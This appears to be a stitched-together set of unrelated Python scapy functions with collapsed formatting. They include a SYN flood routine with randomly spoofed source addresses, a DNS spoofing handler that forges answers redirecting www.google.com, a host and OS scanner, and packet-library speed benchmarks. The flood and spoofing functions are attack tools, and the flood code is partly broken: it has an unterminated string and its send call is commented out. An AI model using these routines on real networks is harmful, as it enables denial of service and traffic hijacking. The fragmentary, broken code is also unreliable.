def synflood(target, port, thread, interface): while True: try: scapy.conf.iface = interface i = scapy.IP() i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254)) i.dst = target t = scapy.TCP() t.sport = random.randint(1,65535) t.dport = port t.flags = 'S' p=IP(dst=target,id=1111,ttl=99)/TCP(sport=RandShort(),dport=[port],seq=12345,ack=1000,window=1000,flags="S")/"H #scapy.send(i/t, verbose=0) except: print '[X] ERROR TO SEND SYN ATTACK'
def procPacket(p): #Lets grab the source mac and dst mac eth_layer = p.getlayer(scapy.Ether) src_mac = eth_layer.src dst_mac = eth_layer.dst #Now on to grabbing the src IP and dst IP ip_layer = p.getlayer(scapy.IP) src_ip = ip_layer.src dst_ip = ip_layer.dst #Woot..UDP Layer udp_layer = p.getlayer(scapy.UDP) src_port = udp_layer.sport dst_port = udp_layer.dport #And finally..the DNS layer dns_layer = p.getlayer(scapy.DNS) d = scapy.DNS() d.id = dns_layer.id #Transaction ID d.qr = 1 #1 for Response d.opcode = 16 d.aa = 0 d.tc = 0 d.rd = 0 d.ra = 1 d.z = 8 d.rcode = 0 d.qdcount = 1 #Question Count d.ancount = 1 #Answer Count d.nscount = 0 #No Name server info d.arcount = 0 #No additional records d.qd = str(dns_layer.qd) d.an = scapy.DNSRR(rrname="www.google.com.", ttl=330, type="A", rclass="IN", rdata="127.0.0.1") #Send the spoofed packet away! #Don't forget to switch stuffs lawl spoofed = scapy.Ether(src=dst_mac, dst=src_mac) / scapy.IP( src=dst_ip, dst=src_ip) / scapy.UDP(sport=dst_port, dport=src_port) / d #Off we go! scapy.sendp(spoofed, iface_hint=src_ip)
def ip_scan(): while not queue.empty(): ## Get args ip = queue.get() mac = None hostname = None target_os = "Unknown" status = "DOWN" ## ICMP Ping and ARP Ping with scapy ans, unans = scapy.sr(scapy.IP(dst=ip) / scapy.ICMP(), retry=0, timeout=1) if ans is not None and len(ans) > 0: status = "UP" ttl = ans[0][0].ttl if ttl < 70: target_os = "Linux" elif ttl > 119: target_os = "Windows" else: ans, unans = scapy.arping(ip) if len(ans): status = "UP" ## Get mac address from IP if status == "UP": mac = scapy.getmacbyip(ip) ## Get hostname hostname = get_hostname(ip) ## Set data data = (ip, mac, hostname, target_os, status) if status == "UP": #print(data) with thread_lock: live_hosts.put(data)
def compare_parse(cnt): """ dpkt: 23347.462887 pps impacket: 9937.75963595 pps openbsd.packet: 6826.5955563 pps scapy: 1461.74727127 pps xstruct: 206100.202449 pps """ s = 'E\x00\x00T\xc2\xf3\x00\x00\xff\x01\xe2\x18\n\x00\x01\x92\n\x00\x01\x0b\x08\x00\xfc\x11:g\x00\x00A,\xc66\x00\x0e\xcf\x12\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f!"#$%&\'()*+,-./01234567' start = time.time() for i in range(cnt): dpkt.ip.IP(s) print('dpkt:', cnt / (time.time() - start), 'pps') decoder = ImpactDecoder.IPDecoder() start = time.time() for i in range(cnt): decoder.decode(s) print('impacket:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): packet.Packet(packet.IP, s) print('openbsd.packet:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): scapy.IP(s) print('scapy:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): ip = xip(s[:dnet.IP_HDR_LEN]) udp = xudp(s[dnet.IP_HDR_LEN:dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN]) data = s[dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN:] print('xstruct:', cnt / (time.time() - start), 'pps')
def process_packet(packet): scapy_packet = scapy.IP(packet.get_payload()) print(scapy_packet.show()) packet.accept()
def compare_create(cnt): """ dpkt: 14915.2445937 pps dpkt (manual): 15494.3632903 pps impacket: 3929.30572776 pps openbsd.packet: 1503.7928579 pps scapy: 348.449269721 pps xstruct: 88314.8953732 pps """ src = dnet.addr('1.2.3.4').ip dst = dnet.addr('5.6.7.8').ip data = 'hello world' start = time.time() for i in range(cnt): dnet.ip_checksum( str( dpkt.ip.IP(src=src, dst=dst, p=dnet.IP_PROTO_UDP, len=dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN + len(data), data=dpkt.udp.UDP(sport=111, dport=222, ulen=dnet.UDP_HDR_LEN + len(data), data=data)))) print('dpkt:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): dnet.ip_checksum( str( dpkt.ip.IP(src=src, dst=dst, p=dnet.IP_PROTO_UDP, len=dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN + len(data))) + str( dpkt.udp.UDP( sport=111, dport=222, ulen=dnet.UDP_HDR_LEN + len(data))) + data) print('dpkt (manual):', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): ip = ImpactPacket.IP() ip.set_ip_src('1.2.3.4') ip.set_ip_dst('5.6.7.8') udp = ImpactPacket.UDP() udp.set_uh_sport(111) udp.set_uh_dport(222) udp.contains(ImpactPacket.Data(data)) ip.contains(udp) ip.get_packet() print('impacket:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): p = packet.createPacket(packet.IP, packet.UDP) p['ip'].src = '1.2.3.4' p['ip'].dst = '5.6.7.8' p['udp'].sport = 111 p['udp'].dport = 22 p['udp'].payload = data p.finalise() p.getRaw() print('openbsd.packet:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): ip = scapy.IP(src='1.2.3.4', dst='5.6.7.8') / \ scapy.UDP(sport=111, dport=222) / data ip.build() print('scapy:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): udp = xudp() udp.sport = 111 udp.dport = 222 udp.ulen = dnet.UDP_HDR_LEN + len(data) ip = xip() ip.src = src ip.dst = dst ip.p = dnet.IP_PROTO_UDP ip.len = dnet.IP_HDR_LEN + udp.ulen dnet.ip_checksum(str(ip) + str(udp) + data) print('xstruct:', cnt / (time.time() - start), 'pps')